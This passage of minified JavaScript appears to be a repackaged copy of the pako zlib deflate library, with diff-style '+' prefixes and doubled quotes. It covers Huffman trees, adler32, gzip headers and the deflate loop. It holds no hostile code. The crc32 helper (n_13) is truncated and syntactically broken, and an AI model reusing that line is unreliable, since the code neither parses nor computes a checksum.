t, n, a) { + var r = 2 * t + , i = 2 * n; + return e[r] < e[i] || e[r] === e[i] && a[t] <= a[n] + } + function Q(e, t, n) { + for (var a = e.heap[n], r = n << 1; r <= e.heap_len && (r < e.heap_len && V(t, e.heap[r + 1], e.heap[r], e.depth) && r++, + !V(t, a, e.heap[r], e.depth)); ) + e.heap[n] = e.heap[r], + n = r, + r <<= 1; + e.heap[n] = a + } + function q(e, t, n) { + var a, r, i, s, c = 0; + if (0 !== e.last_lit) + do { + a = e.pending_buf[e.d_buf + 2 * c] << 8 | e.pending_buf[e.d_buf + 2 * c + 1], + r = e.pending_buf[e.l_buf + c], + c++, + 0 === a ? O(e, r, t) : (O(e, (i = A[r]) + o + 1, t), + 0 !== (s = v[i]) && P(e, r -= I[i], s), + O(e, i = L(--a), n), + 0 !== (s = y[i]) && P(e, a -= N[i], s)) + } while (c < e.last_lit);O(e, h, t) + } + function F(e, t) { + var n, a, r, i = t.dyn_tree, o = t.stat_desc.static_tree, s = t.stat_desc.has_stree, c = t.stat_desc.elems, l = -1; + for (e.heap_len = 0, + e.heap_max = u, + n = 0; n < c; n++) + 0 !== i[2 * n] ? (e.heap[++e.heap_len] = l = n, + e.depth[n] = 0) : i[2 * n + 1] = 0; + for (; e.heap_len < 2; ) + i[2 * (r = e.heap[++e.heap_len] = l < 2 ? ++l : 0)] = 1, + e.depth[r] = 0, + e.opt_len--, + s && (e.static_len -= o[2 * r + 1]); + for (t.max_code = l, + n = e.heap_len >> 1; n >= 1; n--) + Q(e, i, n); + r = c; + do { + n = e.heap[1], + e.heap[1] = e.heap[e.heap_len--], + Q(e, i, 1), + a = e.heap[1], + e.heap[--e.heap_max] = n, + e.heap[--e.heap_max] = a, + i[2 * r] = i[2 * n] + i[2 * a], + e.depth[r] = (e.depth[n] >= e.depth[a] ? e.depth[n] : e.depth[a]) + 1, + i[2 * n + 1] = i[2 * a + 1] = r, + e.heap[1] = r++, + Q(e, i, 1) + } while (e.heap_len >= 2);e.heap[--e.heap_max] = e.heap[1], + function(e, t) { + var n, a, r, i, o, s, c = t.dyn_tree, l = t.max_code, p = t.stat_desc.static_tree, h = t.stat_desc.has_stree, f = t.stat_desc.extra_bits, m = t.stat_desc.extra_base, g = t.stat_desc.max_length, v = 0; + for (i = 0; i <= d; i++) + e.bl_count[i] = 0; + for (c[2 * e.heap[e.heap_max] + 1] = 0, + n = e.heap_max + 1; n < u; n++) + (i = c[2 * c[2 * (a = e.heap[n]) + 1] + 1] + 1) > g && (i = g, + v++), + c[2 * a + 1] = i, + a > l || (e.bl_count[i]++, + o = 0, + a >= m && (o = f[a - m]), + s = c[2 * a], + e.opt_len += s * (i + o), + h && (e.static_len += s * (p[2 * a + 1] + o))); + if (0 !== v) { + do { + for (i = g - 1; 0 === e.bl_count[i]; ) + i--; + e.bl_count[i]--, + e.bl_count[i + 1] += 2, + e.bl_count[g]--, + v -= 2 + } while (v > 0);for (i = g; 0 !== i; i--) + for (a = e.bl_count[i]; 0 !== a; ) + (r = e.heap[--n]) > l || (c[2 * r + 1] !== i && (e.opt_len += (i - c[2 * r + 1]) * c[2 * r], + c[2 * r + 1] = i), + a--) + } + }(e, t), + M(i, l, e.bl_count) + } + function G(e, t, n) { + var a, r, i = -1, o = t[1], s = 0, c = 7, l = 4; + for (0 === o && (c = 138, + l = 3), + t[2 * (n + 1) + 1] = 65535, + a = 0; a <= n; a++) + r = o, + o = t[2 * (a + 1) + 1], + ++s < c && r === o || (s < l ? e.bl_tree[2 * r] += s : 0 !== r ? (r !== i && e.bl_tree[2 * r]++, + e.bl_tree[2 * f]++) : s <= 10 ? e.bl_tree[2 * m]++ : e.bl_tree[2 * g]++, + s = 0, + i = r, + 0 === o ? (c = 138, + l = 3) : r === o ? (c = 6, + l = 3) : (c = 7, + l = 4)) + } + function H(e, t, n) { + var a, r, i = -1, o = t[1], s = 0, c = 7, l = 4; + for (0 === o && (c = 138, + l = 3), + a = 0; a <= n; a++) + if (r = o, + o = t[2 * (a + 1) + 1], + !(++s < c && r === o)) { + if (s < l){ + do { + O(e, r, e.bl_tree) + } while (0 != --s); + }else{ + 0 !== r ? (r !== i && (O(e, r, e.bl_tree), + s--), + O(e, f, e.bl_tree), + P(e, s - 3, 2)) : s <= 10 ? (O(e, m, e.bl_tree), + P(e, s - 3, 3)) : (O(e, g, e.bl_tree), + P(e, s - 11, 7)); +} + s = 0, + i = r, + 0 === o ? (c = 138, + l = 3) : r === o ? (c = 6, + l = 3) : (c = 7, + l = 4) + } + } + r(N); + var j = !1; + function K(e, t, n, r) { + P(e, (i << 1) + (r ? 1 : 0), 3), + function(e, t, n, r) { + W(e), + R(e, n), + R(e, ~n), + a.arraySet(e.pending_buf, e.window, t, n, e.pending), + e.pending += n + }(e, t, n) + } +var t={}; + t._tr_init = function(e) { + j || (function() { + var e, t, n, a, r, i = new Array(d + 1); + for (n = 0, + a = 0; a < 28; a++) + for (I[a] = n, + e = 0; e < 1 << v[a]; e++) + A[n++] = a; + for (A[n - 1] = a, + r = 0, + a = 0; a < 16; a++) + for (N[a] = r, + e = 0; e < 1 << y[a]; e++) + C[r++] = a; + for (r >>= 7; a < c; a++) + for (N[a] = r << 7, + e = 0; e < 1 << y[a] - 7; e++) + C[256 + r++] = a; + for (t = 0; t <= d; t++) + i[t] = 0; + for (e = 0; e <= 143; ) + w[2 * e + 1] = 8, + e++, + i[8]++; + for (; e <= 255; ) + w[2 * e + 1] = 9, + e++, + i[9]++; + for (; e <= 279; ) + w[2 * e + 1] = 7, + e++, + i[7]++; + for (; e <= 287; ) + w[2 * e + 1] = 8, + e++, + i[8]++; + for (M(w, s + 1, i), + e = 0; e < c; e++) + S[2 * e + 1] = 5, + S[2 * e] = U(e, 5); + E = new D(w,v,o + 1,s,d), + k = new D(S,y,0,c,d), + T = new D(new Array(0),_,0,l,7) + }(), + j = !0), + e.l_desc = new x(e.dyn_ltree,E), + e.d_desc = new x(e.dyn_dtree,k), + e.bl_desc = new x(e.bl_tree,T), + e.bi_buf = 0, + e.bi_valid = 0, + B(e) + } + , + t._tr_stored_block = K, + t._tr_flush_block = function(e, t, n, a) { + var r, i, s = 0; + e.level > 0 ? (2 === e.strm.data_type && (e.strm.data_type = function(e) { + var t, n = 4093624447; + for (t = 0; t <= 31; t++, + n >>>= 1) + if (1 & n && 0 !== e.dyn_ltree[2 * t]) + return 0; + if (0 !== e.dyn_ltree[18] || 0 !== e.dyn_ltree[20] || 0 !== e.dyn_ltree[26]) + return 1; + for (t = 32; t < o; t++) + if (0 !== e.dyn_ltree[2 * t]) + return 1; + return 0 + }(e)), + F(e, e.l_desc), + F(e, e.d_desc), + s = function(e) { + var t; + for (G(e, e.dyn_ltree, e.l_desc.max_code), + G(e, e.dyn_dtree, e.d_desc.max_code), + F(e, e.bl_desc), + t = l - 1; t >= 3 && 0 === e.bl_tree[2 * b[t] + 1]; t--) + ; + return e.opt_len += 3 * (t + 1) + 5 + 5 + 4, + t + }(e), + r = e.opt_len + 3 + 7 >>> 3, + (i = e.static_len + 3 + 7 >>> 3) <= r && (r = i)) : r = i = n + 5, + n + 4 <= r && -1 !== t ? K(e, t, n, a) : 4 === e.strategy || i === r ? (P(e, 2 + (a ? 1 : 0), 3), + q(e, w, S)) : (P(e, 4 + (a ? 1 : 0), 3), + function(e, t, n, a) { + var r; + for (P(e, t - 257, 5), + P(e, n - 1, 5), + P(e, a - 4, 4), + r = 0; r < a; r++) + P(e, e.bl_tree[2 * b[r] + 1], 3); + H(e, e.dyn_ltree, t - 1), + H(e, e.dyn_dtree, n - 1) + }(e, e.l_desc.max_code + 1, e.d_desc.max_code + 1, s + 1), + q(e, e.dyn_ltree, e.dyn_dtree)), + B(e), + a && W(e) + } + , + t._tr_tally = function(e, t, n) { + return e.pending_buf[e.d_buf + 2 * e.last_lit] = t >>> 8 & 255, + e.pending_buf[e.d_buf + 2 * e.last_lit + 1] = 255 & t, + e.pending_buf[e.l_buf + e.last_lit] = 255 & n, + e.last_lit++, + 0 === t ? e.dyn_ltree[2 * n]++ : (e.matches++, + t--, + e.dyn_ltree[2 * (A[n] + o + 1)]++, + e.dyn_dtree[2 * L(t)]++), + e.last_lit === e.lit_bufsize - 1 + } + , + t._tr_align = function(e) { + P(e, 2, 3), + O(e, h, w), + function(e) { + 16 === e.bi_valid ? (R(e, e.bi_buf), + e.bi_buf = 0, + e.bi_valid = 0) : e.bi_valid >= 8 && (e.pending_buf[e.pending++] = 255 & e.bi_buf, + e.bi_buf >>= 8, + e.bi_valid -= 8) + }(e) + } + +return t +}() +var n_3=function(){ +return {""0"":"""",""1"":""stream end"",""2"":""need dictionary"",""-1"":""file error"",""-2"":""stream error"",""-3"":""data error"",""-4"":""insufficient memory"",""-5"":""buffer error"",""-6"":""incompatible version""} +}() +var n_12=function(e, t, n, a){ + + for (var r = 65535 & e | 0, i = e >>> 16 & 65535 | 0, o = 0; 0 !== n; ) { + n -= o = n > 2e3 ? 2e3 : n; + do { + i = i + (r = r + t[a++] | 0) | 0 + } while (--o);r %= 65521, + i %= 65521 + } + return r | i << 16 | 0 + +} + +var n_13=function(e,t,n,r){ +var i=a,o=r+n;e^=-1;for(var s=r;s>>8^i[255&(e^t[s])];return-1^e +} +var n_10=function(){ +var a, r = n_0, i = n_11, o = n_12, s = n_13, c = n_3, l = 0, u = 4, d = 0, p = -2, h = -1, f = 1, m = 4, g = 2, v = 8, y = 9, _ = 286, b = 30, w = 19, S = 2 * _ + 1, C = 15, A = 3, I = 258, E = I + A + 1, k = 42, T = 103, N = 113, D = 666, x = 1, L = 2, R = 3, P = 4; + function O(e, t) { + return e.msg = c[t], + t + } + function U(e) { + return (e << 1) - (e > 4 ? 9 : 0) + } + function M(e) { + for (var t = e.length; --t >= 0; ) + e[t] = 0 + } + function B(e) { + var t = e.state + , n = t.pending; + n > e.avail_out && (n = e.avail_out), + 0 !== n && (r.arraySet(e.output, t.pending_buf, t.pending_out, n, e.next_out), + e.next_out += n, + t.pending_out += n, + e.total_out += n, + e.avail_out -= n, + t.pending -= n, + 0 === t.pending && (t.pending_out = 0)) + } + function W(e, t) { + i._tr_flush_block(e, e.block_start >= 0 ? e.block_start : -1, e.strstart - e.block_start, t), + e.block_start = e.strstart, + B(e.strm) + } + function V(e, t) { + e.pending_buf[e.pending++] = t + } + function Q(e, t) { + e.pending_buf[e.pending++] = t >>> 8 & 255, + e.pending_buf[e.pending++] = 255 & t + } + function q(e, t) { + var n, a, r = e.max_chain_length, i = e.strstart, o = e.prev_length, s = e.nice_match, c = e.strstart > e.w_size - E ? e.strstart - (e.w_size - E) : 0, l = e.window, u = e.w_mask, d = e.prev, p = e.strstart + I, h = l[i + o - 1], f = l[i + o]; + e.prev_length >= e.good_match && (r >>= 2), + s > e.lookahead && (s = e.lookahead); + do { + if (l[(n = t) + o] === f && l[n + o - 1] === h && l[n] === l[i] && l[++n] === l[i + 1]) { + i += 2, + n++; + do {} while (l[++i] === l[++n] && l[++i] === l[++n] && l[++i] === l[++n] && l[++i] === l[++n] && l[++i] === l[++n] && l[++i] === l[++n] && l[++i] === l[++n] && l[++i] === l[++n] && i < p);if (a = I - (p - i), + i = p - I, + a > o) { + if (e.match_start = t, + o = a, + a >= s) + break; + h = l[i + o - 1], + f = l[i + o] + } + } + } while ((t = d[t & u]) > c && 0 != --r);return o <= e.lookahead ? o : e.lookahead + } + function F(e) { + var t, n, a, i, c, l, u, d, p, h, f = e.w_size; + do { + if (i = e.window_size - e.lookahead - e.strstart, + e.strstart >= f + (f - E)) { + r.arraySet(e.window, e.window, f, f, 0), + e.match_start -= f, + e.strstart -= f, + e.block_start -= f, + t = n = e.hash_size; + do { + a = e.head[--t], + e.head[t] = a >= f ? a - f : 0 + } while (--n);t = n = f; + do { + a = e.prev[--t], + e.prev[t] = a >= f ? a - f : 0 + } while (--n);i += f + } + if (0 === e.strm.avail_in) + break; + if (l = e.strm, + u = e.window, + d = e.strstart + e.lookahead, + p = i, + h = void 0, + (h = l.avail_in) > p && (h = p), + n = 0 === h ? 0 : (l.avail_in -= h, + r.arraySet(u, l.input, l.next_in, h, d), + 1 === l.state.wrap ? l.adler = o(l.adler, u, h, d) : 2 === l.state.wrap && (l.adler = s(l.adler, u, h, d)), + l.next_in += h, + l.total_in += h, + h), + e.lookahead += n, + e.lookahead + e.insert >= A) + for (c = e.strstart - e.insert, + e.ins_h = e.window[c], + e.ins_h = (e.ins_h << e.hash_shift ^ e.window[c + 1]) & e.hash_mask; e.insert && (e.ins_h = (e.ins_h << e.hash_shift ^ e.window[c + A - 1]) & e.hash_mask, + e.prev[c & e.w_mask] = e.head[e.ins_h], + e.head[e.ins_h] = c, + c++, + e.insert--, + !(e.lookahead + e.insert < A)); ) + ; + } while (e.lookahead < E && 0 !== e.strm.avail_in) + } + function G(e, t) { + for (var n, a; ; ) { + if (e.lookahead < E) { + if (F(e), + e.lookahead < E && t === l) + return x; + if (0 === e.lookahead) + break + } + if (n = 0, + e.lookahead >= A && (e.ins_h = (e.ins_h << e.hash_shift ^ e.window[e.strstart + A - 1]) & e.hash_mask, + n = e.prev[e.strstart & e.w_mask] = e.head[e.ins_h], + e.head[e.ins_h] = e.strstart), + 0 !== n && e.strstart - n <= e.w_size - E && (e.match_length = q(e, n)), + e.match_length >= A) + if (a = i._tr_tally(e, e.strstart - e.match_start, e.match_length - A), + e.lookahead -= e.match_length, + e.match_length <= e.max_lazy_match && e.lookahead >= A) { + e.match_length--; + do { + e.strstart++, + e.ins_h = (e.ins_h << e.hash_shift ^ e.window[e.strstart + A - 1]) & e.hash_mask, + n = e.prev[e.strstart & e.w_mask] = e.head[e.ins_h], + e.head[e.ins_h] = e.strstart + } while (0 != --e.match_length);e.strstart++ + } else + e.strstart += e.match_length, + e.match_length = 0, + e.ins_h = e.window[e.strstart], + e.ins_h = (e.ins_h << e.hash_shift ^ e.window[e.strstart + 1]) & e.hash_mask; + else + a = i._tr_tally(e, 0, e.window[e.strstart]), + e.lookahead--, + e.strstart++; + if (a && (W(e, !1), + 0 === e.strm.avail_out)) + return x + } + return e.insert = e.strstart < A - 1 ? e.strstart : A - 1, + t === u ? (W(e, !0), + 0 === e.strm.avail_out ? R : P) : e.last_lit && (W(e, !1), + 0 === e.strm.avail_out) ? x : L + } + function H(e, t) { + for (var n, a, r; ; ) { + if (e.lookahead < E) { + if (F(e), + e.lookahead < E && t === l) + return x; + if (0 === e.lookahead) + break + } + if (n = 0, + e.lookahead >= A && (e.ins_h = (e.ins_h << e.hash_shift ^ e.window[e.strstart + A - 1]) & e.hash_mask, + n = e.prev[e.strstart & e.w_mask] = e.head[e.ins_h], + e.head[e.ins_h] = e.strstart), + e.prev_length = e.match_length, + e.prev_match = e.match_start, + e.match_length = A - 1, + 0 !== n && e.prev_length < e.max_lazy_match && e.strstart - n <= e.w_size - E && (e.match_length = q(e, n), + e.match_length <= 5 && (e.strategy === f || e.match_length === A && e.strstart - e.match_start > 4096) && (e.match_length = A - 1)), + e.prev_length >= A && e.match_length <= e.prev_length) { + r = e.strstart + e.lookahead - A, + a = i._tr_tally(e, e.strstart - 1 - e.prev_match, e.prev_length - A), + e.lookahead -= e.prev_length - 1, + e.prev_length -= 2; + do { + ++e.strstart <= r && (e.ins_h = (e.ins_h << e.hash_shift ^ e.window[e.strstart + A - 1]) & e.hash_mask, + n = e.prev[e.strstart & e.w_mask] = e.head[e.ins_h], + e.head[e.ins_h] = e.strstart) + } while (0 != --e.prev_length);if (e.match_available = 0, + e.match_length = A - 1, + e.strstart++, + a && (W(e, !1), + 0 === e.strm.avail_out)) + return x + } else if (e.match_available) { + if ((a = i._tr_tally(e, 0, e.window[e.strstart - 1])) && W(e, !1), + e.strstart++, + e.lookahead--, + 0 === e.strm.avail_out) + return x + } else + e.match_available = 1, + e.strstart++, + e.lookahead-- + } + return e.match_available && (a = i._tr_tally(e, 0, e.window[e.strstart - 1]), + e.match_available = 0), + e.insert = e.strstart < A - 1 ? e.strstart : A - 1, + t === u ? (W(e, !0), + 0 === e.strm.avail_out ? R : P) : e.last_lit && (W(e, !1), + 0 === e.strm.avail_out) ? x : L + } + function j(e, t, n, a, r) { + this.good_length = e, + this.max_lazy = t, + this.nice_length = n, + this.max_chain = a, + this.func = r + } + function K(e) { + var t; + return e && e.state ? (e.total_in = e.total_out = 0, + e.data_type = g, + (t = e.state).pending = 0, + t.pending_out = 0, + t.wrap < 0 && (t.wrap = -t.wrap), + t.status = t.wrap ? k : N, + e.adler = 2 === t.wrap ? 0 : 1, + t.last_flush = l, + i._tr_init(t), + d) : O(e, p) + } + function z(e) { + var t, n = K(e); + return n === d && ((t = e.state).window_size = 2 * t.w_size, + M(t.head), + t.max_lazy_match = a[t.level].max_lazy, + t.good_match = a[t.level].good_length, + t.nice_match = a[t.level].nice_length, + t.max_chain_length = a[t.level].max_chain, + t.strstart = 0, + t.block_start = 0, + t.lookahead = 0, + t.insert = 0, + t.match_length = t.prev_length = A - 1, + t.match_available = 0, + t.ins_h = 0), + n + } + function Y(e, t, n, a, i, o) { + if (!e) + return p; + var s = 1; + if (t === h && (t = 6), + a < 0 ? (s = 0, + a = -a) : a > 15 && (s = 2, + a -= 16), + i < 1 || i > y || n !== v || a < 8 || a > 15 || t < 0 || t > 9 || o < 0 || o > m) + return O(e, p); + 8 === a && (a = 9); + var c = new function() { + this.strm = null, + this.status = 0, + this.pending_buf = null, + this.pending_buf_size = 0, + this.pending_out = 0, + this.pending = 0, + this.wrap = 0, + this.gzhead = null, + this.gzindex = 0, + this.method = v, + this.last_flush = -1, + this.w_size = 0, + this.w_bits = 0, + this.w_mask = 0, + this.window = null, + this.window_size = 0, + this.prev = null, + this.head = null, + this.ins_h = 0, + this.hash_size = 0, + this.hash_bits = 0, + this.hash_mask = 0, + this.hash_shift = 0, + this.block_start = 0, + this.match_length = 0, + this.prev_match = 0, + this.match_available = 0, + this.strstart = 0, + this.match_start = 0, + this.lookahead = 0, + this.prev_length = 0, + this.max_chain_length = 0, + this.max_lazy_match = 0, + this.level = 0, + this.strategy = 0, + this.good_match = 0, + this.nice_match = 0, + this.dyn_ltree = new r.Buf16(2 * S), + this.dyn_dtree = new r.Buf16(2 * (2 * b + 1)), + this.bl_tree = new r.Buf16(2 * (2 * w + 1)), + M(this.dyn_ltree), + M(this.dyn_dtree), + M(this.bl_tree), + this.l_desc = null, + this.d_desc = null, + this.bl_desc = null, + this.bl_count = new r.Buf16(C + 1), + this.heap = new r.Buf16(2 * _ + 1), + M(this.heap), + this.heap_len = 0, + this.heap_max = 0, + this.depth = new r.Buf16(2 * _ + 1), + M(this.depth), + this.l_buf = 0, + this.lit_bufsize = 0, + this.last_lit = 0, + this.d_buf = 0, + this.opt_len = 0, + this.static_len = 0, + this.matches = 0, + this.insert = 0, + this.bi_buf = 0, + this.bi_valid = 0 + } + ; + return e.state = c, + c.strm = e, + c.wrap = s, + c.gzhead = null, + c.w_bits = a, + c.w_size = 1 << c.w_bits, + c.w_mask = c.w_size - 1, + c.hash_bits = i + 7, + c.hash_size = 1 << c.hash_bits, + c.hash_mask = c.hash_size - 1, + c.hash_shift = ~~((c.hash_bits + A - 1) / A), + c.window = new r.Buf8(2 * c.w_size), + c.head = new r.Buf16(c.hash_size), + c.prev = new r.Buf16(c.w_size), + c.lit_bufsize = 1 << i + 6, + c.pending_buf_size = 4 * c.lit_bufsize, + c.pending_buf = new r.Buf8(c.pending_buf_size), + c.d_buf = 1 * c.lit_bufsize, + c.l_buf = 3 * c.lit_bufsize, + c.level = t, + c.strategy = o, + c.method = n, + z(e) + } +var t={}; +a = [new j(0,0,0,0,function(e, t) { + var n = 65535; + for (n > e.pending_buf_size - 5 && (n = e.pending_buf_size - 5); ; ) { + if (e.lookahead <= 1) { + if (F(e), + 0 === e.lookahead && t === l) + return x; + if (0 === e.lookahead) + break + } + e.strstart += e.lookahead, + e.lookahead = 0; + var a = e.block_start + n; + if ((0 === e.strstart || e.strstart >= a) && (e.lookahead = e.strstart - a, + e.strstart = a, + W(e, !1), + 0 === e.strm.avail_out)) + return x; + if (e.strstart - e.block_start >= e.w_size - E && (W(e, !1), + 0 === e.strm.avail_out)) + return x + } + return e.insert = 0, + t === u ? (W(e, !0), + 0 === e.strm.avail_out ? R : P) : (e.strstart > e.block_start && (W(e, !1), + e.strm.avail_out), + x) + } + ), new j(4,4,8,4,G), new j(4,5,16,8,G), new j(4,6,32,32,G), new j(4,4,16,16,H), new j(8,16,32,32,H), new j(8,16,128,128,H), new j(8,32,128,256,H), new j(32,128,258,1024,H), new j(32,258,258,4096,H)], +t.deflateInit = function(e, t) { + return Y(e, t, v, 15, 8, 0) + } + , + t.deflateInit2 = Y, + t.deflateReset = z, + t.deflateResetKeep = K, + t.deflateSetHeader = function(e, t) { + return e && e.state ? 2 !== e.state.wrap ? p : (e.state.gzhead = t, + d) : p + } + , + t.deflate = function(e, t) { + var n, r, o, c; + if (!e || !e.state || t > 5 || t < 0) + return e ? O(e, p) : p; + if (r = e.state, + !e.output || !e.input && 0 !== e.avail_in || r.status === D && t !== u) + return O(e, 0 === e.avail_out ? -5 : p); + if (r.strm = e, + n = r.last_flush, + r.last_flush = t, + r.status === k) + if (2 === r.wrap) + e.adler = 0, + V(r, 31), + V(r, 139), + V(r, 8), + r.gzhead ? (V(r, (r.gzhead.text ? 1 : 0) + (r.gzhead.hcrc ? 2 : 0) + (r.gzhead.extra ? 4 : 0) + (r.gzhead.name ? 8 : 0) + (r.gzhead.comment ? 16 : 0)), + V(r, 255 & r.gzhead.time), + V(r, r.gzhead.time >> 8 & 255), + V(r, r.gzhead.time >> 16 & 255), + V(r, r.gzhead.time >> 24 & 255), + V(r, 9 === r.level ? 2 : r.strategy >= 2 || r.level < 2 ? 4 : 0), + V(r, 255 & r.gzhead.os), + r.gzhead.extra && r.gzhead.extra.length && (V(r, 255 & r.gzhead.extra.length), + V(r, r.gzhead.extra.length >> 8 & 255)), + r.gzhead.hcrc && (e.adler = s(e.adler, r.pending_buf, r.pending, 0)), + r.gzindex = 0, + r.status = 69) : (V(r, 0), + V(r, 0), + V(r, 0), + V(r, 0), + V(r, 0), + V(r, 9 === r.level ? 2 : r.strategy >= 2 || r.level < 2 ? 4 : 0), + V(r, 3), + r.status = N); + else { + var h = v + (r.w_bits - 8 << 4) << 8; + h |= (r.strategy >= 2 || r.level < 2 ? 0 : r.level < 6 ? 1 : 6 === r.level ? 2 : 3) << 6, + 0 !== r.strstart && (h |= 32), + h += 31 - h % 31, + r.status = N, + Q(r, h), + 0 !== r.strstart && (Q(r, e.adler >>> 16), + Q(r, 65535 & e.adler)), + e.adler = 1 + } + if (69 === r.status) + if (r.gzhead.extra) { + for (o = r.pending; r.gzindex < (65535 & r.gzhead.extra.length) && (r.pending !== r.pending_buf_size || (r.gzhead.hcrc && r.pending > o && (e.adler = s(e.adler, r.pending_buf, r.pending - o, o)), + B(e), + o = r.pending, + r.pending !== r.pending_buf_size)); ) + V(r, 255 & r.gzhead.extra[r.gzindex]), + r.gzindex++; + r.gzhead.hcrc && r.pending > o && (e.adler = s(e.adler, r.pending_buf, r.pending - o, o)), + r.gzindex === r.gzhead.extra.length && (r.gzindex = 0, + r.status = 73) + } else + r.status = 73; + if (73 === r.status) + if (r.gzhead.name) { + o = r.pending; + do { + if (r.pending === r.pending_buf_size && (r.gzhead.hcrc && r.pending > o && (e.adler = s(e.adler, r.pending_buf, r.pending - o, o)), + B(e), + o = r.pending, + r.pending === r.pending_buf_size)) { + c = 1; + break + } + c = r.gzindex < r.gzhead.name.length ? 255 & r.gzhead.name.charCodeAt(r.gzindex++) : 0, + V(r, c) + } while (0 !== c);r.gzhead.hcrc && r.pending > o && (e.adler = s(e.adler, r.pending_buf, r.pending - o, o)), + 0 === c && (r.gzindex = 0, + r.status = 91) + } else + r.status = 91; + if (91 === r.status) + if (r.gzhead.comment) { + o = r.pending; + do { + if (r.pending === r.pending_buf_size && (r.gzhead.hcrc && r.pending > o && (e.adler = s(e.adler, r.pending_buf, r.pending - o, o)), + B(e), + o = r.pending, + r.pending === r.pending_buf_size)) { + c = 1; + break + } + c = r.gzindex < r.gzhead.comment.length ? 255 & r.gzhead.comment.charCodeAt(r.gzindex++) : 0, + V(r, c) + } while (0 !== c);r.gzhead.hcrc && r.pending > o && (e.adler = s(e.adler, r.pending_buf, r.pending - o, o)), + 0 === c && (r.status = T) + } else + r.status = T; + if (r.status === T && (r.gzhead.hcrc ? (r.pending + 2 > r.pending_buf_size && B(e), + r.pending + 2 <= r.pending_buf_size && (V(r, 255 & e.adler), + V(r, e.adler >> 8 & 255), + e.adler = 0, + r.status = N)) : r.status = N), + 0 !== r.pending) { + if (B(e), + 0 === e.avail_out) + return r.last_flush = -1, + d + } else if (0 === e.avail_in && U(t) <= U(n) && t !== u) + return O(e, -5); + if (r.status === D && 0 !== e.avail_in) + return O(e, -5); + if (0 !== e.avail_in || 0 !== r.lookahead || t !== l && r.status !== D) { + var f = 2 === r.strategy ? function(e, t) { + for (var n; ; ) { + if (0 === e.lookahead && (F(e), + 0 === e.lookahead)) { + if (t === l) + return x; + break + } + if (e.match_length = 0, + n = i._tr_tally(e, 0, e.window[e.strstart]), + e.lookahead--, + e.strstart++, + n && (W(e, !1), + 0 === e.strm.avail_out)) + return x + } + return e.insert = 0, + t === u ? (W(e, !0), + 0 === e.strm.avail_out ? R : P) : e.last_lit && (W(e, !1), + 0 === e.strm.avail_out) ? x : L + }(r, t) : 3 === r.strategy ? function(e, t) { + for (var n, a, r, o, s = e.window; ; ) { + if (e.lookahead <= I) { + if (F(e), + e.lookahead <= I && t === l) + return x; + if (0 === e.lookahead) + break + } + if (e.match_length = 0, + e.lookahead >= A && e.strstart > 0 && (a = s[r = e.strstart - 1]) === s[++r] && a === s[++r] && a === s[++r]) { + o = e.strstart + I; + do {} while (a === s[++r] && a === s[++r] && a === s[++r] && a === s[++r] && a === s[++r] && a === s[++r] && a === s[++r] && a === s[++r] && r < o);e.match_length = I - (o - r), + e.match_length > e.lookahead && (e.match_length = e.lookahead) + } + if (e.match_length >= A ? (n = i._tr_tally(e, 1, e.match_length - A), + e.lookahead -= e.match_length, + e.strstart += e.match_length, + e.match_length = 0) : (n = i._tr_tally(e, 0, e.window[e.strstart]), + e.lookahead--, + e.strstart++), + n && (W(e, !1), + 0 === e.strm.avail_out)) + return x + } + return e.insert = 0, + t === u ? (W(e, !0), + 0 === e.strm.avail_out ? R : P) : e.last_lit && (W(e, !1), + 0 === e.strm.avail_out) ? x : L + }(r, t) : a[r.level].func(r, t); + if (f !== R && f !== P || (r.status = D), + f === x || f === R) + return 0 === e.avail_out && (r.last_flush = -1), + d; + if (f === L && (1 === t ? i._tr_align(r) : 5 !== t && (i._tr_stored_block(r, 0, 0, !1), + 3 === t && (M(r.head), + 0 === r.lookahead && (r.strstart = 0, + r.block_start = 0, + r.insert = 0))), + B(e), + 0 === e.avail_out)) + return r.last_flush = -1, + d + } + return t !== u ? d : r.wrap <= 0 ? 1 : (2 === r.wrap ? (V(r, 255 & e.adler), + V(r, e.adler >> 8 & 255), + V(r, e.adler >> 16 & 255), + V(r, e.adler >> 24 & 255), + V(r, 255 & e.total_in), + V(r, e.total_in >> 8 & 255), + V(r, e.total_in >> 16 & 255), + V(r, e.total_in >> 24 & 255)) : (Q(r, e.adler >>> 16), + Q(r, 65535 & e.adler)), + B(e), + r.wrap > 0 && (r.wrap = -r.wrap), + 0 !== r.pending ? d : 1) + } + , + t.deflateEnd = function(e) { + var t; + return e && e.state ? (t = e.state.status) !== k && 69 !== t && 73 !== t && 91 !== t && t !== T && t !== N && t !== D ? O(e, p) : (e.state = null, + t === N ? O(e, -3) : d) : p + } + , + t.deflateSetDictionary = function(e, t) { + var n, a, i, s, c, l, u, h, f = t.length; + if (!e || !e.state) + return p; + if (2 === (s = (n = e.state).wrap) || 1 === s && n.status !== k || n.lookahead) + return p; + for (1 === s && (e.adler = o(e.adler, t, f, 0)), + n.wrap = 0, + f >= n.w_size && (0 === s && (M(n.head), + n.strstart = 0, + n.block_start = 0, + n.insert = 0), + h = new r.Buf8(n.w_size), + r.arraySet(h, t, f - n.w_size, n.w_size, 0), + t = h, + f = n.w_size), + c = e.avail_in, + l = e.next_in, + u = e.input, + e.avail_in = f, + e.next_in = 0, + e.input = t, + F(n); n.lookahead >= A; ) { + a = n.strstart, + i = n.lookahead - (A - 1); + do { + n.ins_h = (n.ins_h << n.hash_shift ^ n.window[a + A - 1]) & n.hash_mask, + n.prev[a & n.w_mask] = n.head[n.ins_h], + n.head[n.ins_h] = a, + a++ + } while (--i);n.strstart = a, + n.lookahead = A - 1, + F(n) + } + return n.strstart += n.lookahead, + n.block_start = n.strstart, + n.insert = n.lookahead, + n.lookahead = 0, + n.match_length = n.prev_length = A - 1, + n.match_available = 0, + e.next_in = l, + e.input = u, + e.avail_in = c, + n.wrap = s, + d + } + , + t.deflateInfo = ""pako deflate (from Nodeca project)"" +return t +}() +var n_14=function(){ +var a = n_0 + , r = !0 + , i = !0; + try { + String.fromCharCode.apply(null, [0]) + } catch (e) { + r = !1 + } + try { + String.fromCharCode.apply(null, new Uint8Array(1)) + } catch (e) { + i = !1 + } + for (var o = new a.Buf8(256), s = 0; s < 256; s++) + o[s] = s >= 252 ? 6 : s >= 248 ? 5 : s >= 240 ? 4 : s >= 224 ? 3 : s >= 192 ? 2 : 1; + function c(e, t) { + if (t < 65537 && (e.subarray && i || !e.subarray && r)) + return String.fromCharCode.apply(null, a.shrinkBuf(e, t)); + for (var n = """", o = 0; o < t; o++) + n += String.fromCharCode(e[o]); + return n + } +var t={}; + o[254] = o[254] = 1, + t.string2buf = function(e) { + var t, n, r, i, o, s = e.length, c = 0; + for (i 